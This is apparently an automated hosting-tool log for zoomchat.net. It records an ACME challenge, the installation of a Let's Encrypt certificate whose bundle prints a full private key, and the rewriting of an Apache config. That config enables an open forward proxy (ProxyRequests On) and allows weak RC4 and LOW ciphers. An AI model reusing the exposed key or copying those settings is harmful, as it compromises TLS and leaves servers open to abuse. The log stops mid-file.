MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 06:00:01: Establishing a connection
2026-04-23 06:00:03: Establishing a connection
2026-04-23 06:00:04: 

PUT: /tmp/pkp136190

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-23 06:00:05: 

chmod 755 /tmp/pkp136190; /tmp/pkp136190; rm /tmp/pkp136190

2026-04-23 06:00:05: 


1


2026-04-23 06:00:07: Establishing a connection
2026-04-23 06:00:08: 

PUT: /tmp/pkp188917

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > Hvn0Std5kQIqh2ly3K4Bm1UWzjwrC8-qaDEhzUW0boQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Hvn0Std5kQIqh2ly3K4Bm1UWzjwrC8-qaDEhzUW0boQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Hvn0Std5kQIqh2ly3K4Bm1UWzjwrC8-qaDEhzUW0boQ


2026-04-23 06:00:09: 

chmod 755 /tmp/pkp188917; /tmp/pkp188917; rm /tmp/pkp188917

2026-04-23 06:00:09: 




2026-04-23 06:00:13: Establishing a connection
2026-04-23 06:00:15: 

PUT: /tmp/pkp416855

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm Hvn0Std5kQIqh2ly3K4Bm1UWzjwrC8-qaDEhzUW0boQ


2026-04-23 06:00:16: 

chmod 755 /tmp/pkp416855; /tmp/pkp416855; rm /tmp/pkp416855

2026-04-23 06:00:16: 




2026-04-23 06:00:16: Establishing a connection
2026-04-23 06:00:17: 

PUT: /tmp/pkp393795

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7a3fc3cb644d42495f9e28d766d3339.crt

cat > $temp_file <<'endmsg'
6c:3c:28:ba:11:63:50:8a:a0:f8:80:42:d9:56:69:b9

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBSYUKGWoRem6NVC7glfkTj0VMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIzMDUwMTQyWhcNMjYwNzIyMDUwMTQxWjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDt
ZfMKVgAnPpmOJlHaYITqhR2mFY9QxlmjcsibsbdA+X1JSXEjHSG4Wa3YwilG3Aqw
HpEx4ee214d7bNBLHPoxjHQl2EtRvpiz7QfYxtt6ZrACTH80fKrNu4/ixVPasoUj
tnahaeHVXGi8z95pdYD1rU0CCzaSBSFCi2hLGeZtU9/wQSLx1qPMAyfHHAPCV0bi
z+0XAydK5/Z+DUcoV1nC/Z9xhwIgtSiO2MkQxWbHsOvkX61e6PCHnfgbP7hWB9pQ
9oZvP0bkNvYrB8iHJP9q31ck7IqCa3Tjii3G5cMyIQnBNohIP4/EMZye/r2FPX6i
MLpULWj0qMiXbZBUbt4TAgMBAAGjggIZMIICFTAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUz5UoFk52
Vv+DUCT8C7UR0mX2w0owHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iu
b3JnLzAXBgNVHREEEDAOggx6b29tY2hhdC5uZXQwEwYDVR0gBAwwCjAIBgZngQwB
AgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yMi5j
cmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdgDLOPcViXyEoURfW8Hd+8lu8ppZ
zUcKaQWFsMsUwxRY5wAAAZ247K/EAAAEAwBHMEUCIQDoTJes56tOAV9V9rgXlC7o
7E4QtR+IEostl/v002e4AgIgeT64h/i+FZew3jgfWYoJ5KE4O876YGOgmd6jEAtI
CgcAfQCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ247K/RAAgA
AAUAB/nubAQDAEYwRAIgQtzc/ETbyry4bPE6Drfvnjzw9vGlByne65RmyLHLDh8C
IAvW67K0/4qd4xF8vK0Kfi0lRIFCWDm+qahYfVhPOB9RMA0GCSqGSIb3DQEBCwUA
A4IBAQBwvID8lQ9ZtPBnfCB9pXRMrTYpJj4JMb6Vtmu9KVtlW0h73Tf5o8nhbtLh
YZPwn+IgS2M80GbkIsmsQkh7hq4TMxuBr+7mRZvTXJ1h7dX593RVDqmPzBt46VkX
V4BVtLEYZAE9C9cNeF/noiJk8RFjMBYkNnqQ1/XXIsZCW0olto8oVSdYm/AFbZpt
Cqg3SoIEWJQvOqIitUwRJyFYrwBNOjTyw83JsVirnO8Bbh+Fmc1LIXLQcYnJ3Fis
5MqESbqnjl+rwbD8LmnCq5pTG8B1HKji3iPUywDSI2vldkDBwkzl21GtnUgGPHDm
5aif5Rfo+ym3t+BL3jTDaRHs5uzB
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDtZfMKVgAnPpmO
JlHaYITqhR2mFY9QxlmjcsibsbdA+X1JSXEjHSG4Wa3YwilG3AqwHpEx4ee214d7
bNBLHPoxjHQl2EtRvpiz7QfYxtt6ZrACTH80fKrNu4/ixVPasoUjtnahaeHVXGi8
z95pdYD1rU0CCzaSBSFCi2hLGeZtU9/wQSLx1qPMAyfHHAPCV0biz+0XAydK5/Z+
DUcoV1nC/Z9xhwIgtSiO2MkQxWbHsOvkX61e6PCHnfgbP7hWB9pQ9oZvP0bkNvYr
B8iHJP9q31ck7IqCa3Tjii3G5cMyIQnBNohIP4/EMZye/r2FPX6iMLpULWj0qMiX
bZBUbt4TAgMBAAECggEAC6ZFFuzBdSuNPXyD58N0wk1l9xB3x+7z1yF61qkR5Q5Z
J4+DDcYQMYu1DD366I9DtwDI/zmmtUI+U8AzOHxjiqrpyDGlAI3p0GqBSBH6EzeW
y4YVd+3mM9JQbUBhrQm1ntsFV0Zq3p16RkmtEF/DxEqMzNzgAKpfx3Qv2f+bXyH2
Vu5VmgBBoKYV8BOcDw5xbNuY3wdN0mWwiQlb1KXgD9oS/Jgt0uriKqyibfwnmAEo
L4zH4ya1d/HfG7gHYhCnRQIwK5v5e6ujRy4xxcP2whWt/ZnS6ths0b2rc6xE0vy8
Ig8AufWeVQBbDdZV+/rWXP4Ib1bVl9fFkUGxFOe5AQKBgQD9hRORTTt44GZOZidJ
0Ig3IujmIq9inugsV/Rh3xe82FaXODBJx9KMZPilAoVTnpyh8Ok3IWgxWv9zPKtA
Ouv4lnFzcpAJSLvxz6WK67EVWbT4LIYAd8B/V9gP3R0834m1O9r5ZZaiWZKlxa4G
8kYJ0XOKKYnt+D7FEBPJWYT4WwKBgQDvuH9bfKhAgAN9L8xHGwCx3/rzAQyyEZw2
gkjn/ffqJvrdqc2ct7bm3Y2V1lK8OPCcrkqQ/e7d2T+1dZLy2D2G2ZuWWLFh7yHy
TUGv6zwmuEt6uqTn6zKgrT+2pGSBSY02DL/0EAFr7y7hV0tQf8v3YE85Somderaj
SaN2N1jeqQKBgAkw8eyqqCVRvWPKQFJkxQt6sIbnawRgTnqNFccWl325OipxVw7V
t8RvRLR2yu6lKXiVi178TxK7AdfjszG48SUqDyLoXGB5ypaRuKa4tMrZXb5BnvoV
XV1AigzJL24tjIiNivrPvA5WwQJRkGWgEvn4JgA0UVPXVC9AzfbW0ANRAoGBAJr3
S+1acnHvz1GYGphEzngucM2yegCK/c8G/hZqyV8m/7lX0cFjyesIgkTAng9rR7Ah
w7ZjUY08qcCmVu6B95Q7DCdvAoxqyCkY5EPS77mgHbsi+QOrubjBBpUNRKOHZq/w
Ig6mYiTiJA4sHlXVp4ctTUmd88RH1dVM/0ymjt6xAoGAE30evqe/Di4KMJX27gEp
8lC9VRy4NaQWIknRcT58QHhEomCbtizITh0gOT4D/oTbmGA60PFZ1cXUQUG9Ol3A
Q0IA40VyvInEKQ5JPch7a7+x+vMX9ss+1AqOGsG8Cu1eNSGa9ex5YpFYgx1IxYyA
Mm5ci0cjyePHy3LTHI6gL6o=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-23 06:00:18: 

chmod 755 /tmp/pkp393795; /tmp/pkp393795; rm /tmp/pkp393795

2026-04-23 06:00:18: 


dir=/etc/pki/tls/certs/


2026-04-23 06:00:18: 

PUT: /tmp/pkp296816

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-23 06:00:19: 

chmod 755 /tmp/pkp296816; /tmp/pkp296816; rm /tmp/pkp296816

2026-04-23 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf 2271

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-23 06:00:19: 

PUT: /tmp/pkp182341

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_net.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
